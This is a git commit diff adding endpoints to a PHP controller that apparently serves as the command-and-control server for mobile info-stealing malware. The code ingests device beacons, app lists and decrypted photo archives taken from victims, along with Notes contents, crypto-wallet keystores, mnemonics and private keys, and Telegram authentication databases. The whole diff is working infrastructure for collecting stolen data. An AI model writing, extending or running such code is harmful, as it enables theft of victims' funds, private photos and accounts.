feat: xxbb
This commit is contained in:
@@ -3,15 +3,25 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -25,7 +35,7 @@ class XxbbC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
@@ -36,39 +46,78 @@ class XxbbC2Controller extends Controller
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
|
||||
if ($normalizedCode !== null) {
|
||||
$channelCode = $normalizedCode;
|
||||
}
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
$sessionId = $this->normalizeSessionId(
|
||||
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
|
||||
);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64) {
|
||||
$uid = $domain !== '' ? $domain : (string) $request->ip();
|
||||
$uid = substr($uid, 0, 64);
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
$domain = PageVisit::normalizeDomain($domain);
|
||||
$ip = (string) $request->ip();
|
||||
$uid = PageVisit::visitorUid($domain, $ip);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
try {
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid !== '' ? $uid : 'iptj',
|
||||
'client_uid' => $uid,
|
||||
'session_id' => $sessionId,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $this->referer($request),
|
||||
'created_at' => now(),
|
||||
]);
|
||||
} catch (QueryException $e) {
|
||||
if (($e->errorInfo[0] ?? '') !== '23000') {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
private function normalizeSessionId(string $sessionId): ?string
|
||||
{
|
||||
$sessionId = trim($sessionId);
|
||||
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $sessionId;
|
||||
}
|
||||
|
||||
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
|
||||
{
|
||||
if ($sessionId !== null) {
|
||||
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
|
||||
if (! Cache::add($debounceKey, 1, now()->addDay())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
|
||||
}
|
||||
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
|
||||
return Cache::add($debounceKey, 1, now()->addSeconds(8));
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
@@ -99,6 +148,91 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
|
||||
public function photos(Request $request): Response
|
||||
{
|
||||
$rawKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->ensureDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? $request->input('ts')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$xHitRaw = $request->input('x-hit');
|
||||
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||
$photoMeta = [
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $uploadCount,
|
||||
'process_index' => $processIndex,
|
||||
'text_count' => $textCount,
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
|
||||
public function notes(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin reports: /uj /us /ub /ba /result.
|
||||
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||
@@ -123,15 +257,35 @@ class XxbbC2Controller extends Controller
|
||||
} else {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
} else {
|
||||
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
|
||||
public function telegram(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestTelegramAuth($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
private function referer(Request $request): ?string
|
||||
{
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
Reference in New Issue
Block a user